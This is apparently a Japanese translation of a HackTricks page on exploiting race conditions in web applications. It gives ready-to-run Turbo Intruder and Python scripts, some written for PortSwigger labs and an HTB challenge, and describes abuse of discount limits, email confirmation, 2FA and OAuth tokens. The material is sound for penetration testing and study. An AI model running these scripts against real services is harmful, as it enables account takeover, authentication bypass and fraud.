25 KiB
レースコンディション
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
{% hint style="warning" %} このテクニックの深い理解を得るには、https://portswigger.net/research/smashing-the-state-machineのオリジナルレポートをチェックしてください。 {% endhint %}
レースコンディション攻撃の強化
レースコンディションを利用する際の主な障害は、複数のリクエストが同時に処理され、処理時間に非常に少ない差があることを確認することです。理想的には、1ms未満です。
ここでは、リクエストの同期のためのいくつかのテクニックを見つけることができます:
HTTP/2シングルパケット攻撃 vs. HTTP/1.1ラストバイト同期
- HTTP/2:1つのTCP接続で2つのリクエストを送信できるため、ネットワークの揺れの影響が軽減されます。ただし、サーバーサイドの変動により、2つのリクエストでは一貫したレースコンディション攻撃ができない場合があります。
- HTTP/1.1 'ラストバイト同期':20〜30のリクエストのほとんどの部分を事前に送信し、小さな断片を保留してから一緒に送信することで、サーバーへの同時到着を実現します。
ラストバイト同期の準備には次の手順が含まれます:
- ストリームを終了せずに、最後のバイトを除いたヘッダーと本文データを送信します。
- 初回送信後に100ms待機します。
- 最終フレームをバッチ処理するためにTCP_NODELAYを無効にします。
- 接続をウォームアップするためにピンポンを行います。
保留されたフレームの後続の送信は、Wiresharkを介して単一のパケットでの到着を確認するはずです。この方法は、通常はRC攻撃に関与しない静的ファイルには適用されません。
サーバーアーキテクチャへの適応
ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストのルーティングを異なる方法で行う場合があり、タイミングに影響を与える可能性があります。取るべき予防措置として、取るべき予防措置として、無関係なリクエストを介して事前にサーバーサイドの接続をウォームアップすることがタイミングを正常化するかもしれません。
セッションベースのロックの処理
PHPのセッションハンドラのようなフレームワークは、セッションごとにリクエストを直列化するため、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。
レートまたはリソース制限の克服
接続のウォームアップが効果がない場合、ダミーリクエストの洪水を通じて意図的にWebサーバーのレートまたはリソース制限の遅延を引き起こすことで、レースコンディションに適したサーバーサイドの遅延を誘発することができます。
攻撃例
- Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント):リクエストをTurbo intruderに送信できます(
Extensions
->Turbo Intruder
->Send to Turbo Intruder
)、リクエスト内の**%s
のようなブルートフォースしたい値をcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
のように変更し、ドロップダウンからexamples/race-single-packer-attack.py
**を選択できます:
異なる値を送信する場合は、クリップボードからワードリストを使用するこのコードを変更できます。
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、Engine.BURP2
の代わりにEngine.THREADED
またはEngine.BURP
を使用してください。
{% endhint %}
- Tubo Intruder - HTTP2 single-packet attack (Several endpoints): RCEをトリガーするために1つのエンドポイントにリクエストを送信し、その後他のエンドポイントに複数のリクエストを送信する必要がある場合、
race-single-packet-attack.py
スクリプトを以下のように変更できます:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Repeaterでも、Burp Suiteの新しい 'Send group in parallel' オプションを使用できます。
- limit-overrunの場合、同じリクエストを50回グループに追加するだけです。
- 接続ウォーミングのために、Webサーバーの非静的部分にいくつかのリクエストをグループの最初に追加することができます。
- 1つのリクエストともう1つのリクエストの処理間のプロセスを遅らせるために、両方のリクエストの間に追加のリクエストを追加することができます。
- 複数のエンドポイントRCの場合、隠れた状態に移動するリクエストを送信し、その後50のリクエストを送信して隠れた状態を悪用します。
- 自動化されたPythonスクリプト: このスクリプトの目的は、ユーザーのメールアドレスを変更し続けながら、新しいメールアドレスの検証トークンが最後のメールアドレスに到着するまで継続的に検証することです(これは、コード内でメールを変更できるが、最初のメールアドレスで検証が送信される可能性があるRCが見られたためです。メールを示す変数が最初のメールアドレスで既に埋められていたため)。
受信したメールに "objetivo" という単語が見つかった場合、変更されたメールの検証トークンを受信したことがわかり、攻撃を終了します。
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Raw BF
以前の研究の前に使用されたいくつかのペイロードは、RCを引き起こすために可能な限り速くパケットを送ろうとするものでした。
- Repeater: 前のセクションの例を確認してください。
- Intruder: Intruder にリクエストを送信し、オプションメニュー内でスレッド数を30に設定し、ペイロードとしてNull payloadsを選択して30を生成します。
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
これは、アクションを実行できる回数を制限する場所に現れる****脆弱性である最も基本的な競合状態のタイプです。たとえば、ウェブストアで同じ割引コードを複数回使用することが挙げられます。非常に簡単な例は、このレポートやこのバグに見つけることができます。
この種の攻撃には、次のようなバリエーションがあります:
- ギフトカードを複数回利用する
- 製品に複数回評価を付ける
- 口座残高を超過して現金を引き出すまたは送金する
- 単一のCAPTCHAソリューションを再利用する
- 対抗ブルートフォースレート制限をバイパスする
Hidden substates
複雑な競合状態を悪用することは、隠れたまたは意図しないマシンのサブステートとの短い機会を利用することをしばしば含みます。以下はこのアプローチ方法です:
- 潜在的な隠れたサブステートを特定する
- ユーザープロファイルやパスワードリセットプロセスなどの重要なデータを変更または操作するエンドポイントを特定することから始めます。以下に焦点を当てます:
- ストレージ:サーバーサイドの永続データを操作するエンドポイントを、クライアントサイドのデータを処理するものよりも優先します。
- アクション:既存のデータを変更する操作を探し、新しいデータを追加する操作よりも攻撃可能な状況を作りやすいと考えます。
- キー付け:成功した攻撃は通常、同じ識別子(たとえば、ユーザー名やリセットトークン)でキー付けされた操作を含みます。
- 初期探査を実施する
- 特定されたエンドポイントを競合状態攻撃でテストし、予想される結果からの逸脱を観察します。予期しない応答やアプリケーションの振る舞いの変化は、脆弱性を示す可能性があります。
- 脆弱性をデモンストレーションする
- 脆弱性を悪用するために必要なリクエストの最小数に絞り込みます。通常、2つのリクエストだけで脆弱性を悪用することができます。このステップでは、正確なタイミングが必要なため、複数の試行や自動化が必要な場合があります。
Time Sensitive Attacks
リクエストのタイミングを正確にすることで、予測可能な方法(タイムスタンプなど)がセキュリティトークンに使用されている場合に脆弱性が明らかになることがあります。たとえば、タイムスタンプに基づいてパスワードリセットトークンを生成すると、同時リクエストに対して同一のトークンが許可される可能性があります。
悪用するには:
- 同時にパスワードリセットリクエストを行うために、単一パケット攻撃のような正確なタイミングを使用します。同一のトークンは脆弱性を示す可能性があります。
例:
- 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。一致するトークンはトークン生成に欠陥があることを示唆します。
これを試すには、PortSwigger Lab をチェックしてください。
Hidden substates case studies
Pay & add an Item
支払いを行い、追加のアイテムを支払う必要がないようにする方法については、PortSwigger Labをチェックしてください。
Confirm other emails
アイデアは、同時にメールアドレスを確認し、新しいメールアドレスに変更することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
Change email to 2 emails addresses Cookie based
この研究によると、Gitlabはこの方法で乗っ取りの脆弱性がある可能性があります。なぜなら、1つのメールアドレスのメール確認トークンを他のメールアドレスに送信する可能性があるからです。
これを試すには、PortSwigger Lab をチェックしてください。
Hidden Database states / Confirmation Bypass
データベースに情報を追加するために2つの異なる書き込みが使用される場合、データベースには最初のデータだけが書き込まれた状態が一瞬存在します。たとえば、ユーザーを作成するときには、ユーザー名とパスワードが書き込まれ、その後、新しく作成されたアカウントを確認するためのトークンが書き込まれます。これは、一時的にアカウントを確認するトークンがnullであることを意味します。
したがって、アカウントを登録し、空のトークン(token=
またはtoken[]=
またはその他のバリエーション)を使用してアカウントをすぐに確認するために複数のリクエストを送信することで、メールを制御していないアカウントを確認することができる可能性があります。
これを試すには、PortSwigger Lab をチェックしてください。
Bypass 2FA
次の疑似コードは、2FAが強制されていない状態でセッションが作成されるため、競合状態に脆弱性がある可能性があります:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2永続的な持続性
いくつかのOAuthプロバイダーがあります。これらのサービスを使用すると、プロバイダーが登録したユーザーを認証するアプリケーションを作成し、クライアントがアプリケーションにアクセスを許可する必要があります。これにより、OAuthプロバイダー内の一部のデータにアクセスするためにクライアントが許可する必要があります。
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、次のようなページが表示されます: "アプリケーション<InsertCoolName>があなたの情報にアクセスすることを希望します。許可しますか?"
authorization_code
における競合状態
問題は、それを受け入れ、悪意のあるアプリケーションに**authorization_code
を自動的に送信すると発生します。その後、このアプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、**authorization_code
**から複数のAT/RT(認証トークン/リフレッシュトークン)を生成します。基本的に、アプリケーションがデータにアクセスすることを許可したことを悪用して、複数のアカウントを作成します。その後、アプリケーションにデータへのアクセスを許可するのを停止すると、1組のAT/RTが削除されますが、他のものは引き続き有効です。
Refresh Token
における競合状態
有効なRTを取得した後、それを悪用して複数のAT/RTを生成しようとすることができ、ユーザーが悪意のあるアプリケーションにデータへのアクセス権を取り消しても、複数のRTが引き続き有効である可能性があります。
WebSocketsにおけるRC
WS_RaceCondition_PoCでは、Webソケットでも競合状態を悪用するために並列でウェブソケットメッセージを送信するJavaのPoCが見つかります。
参考文献
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウォッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}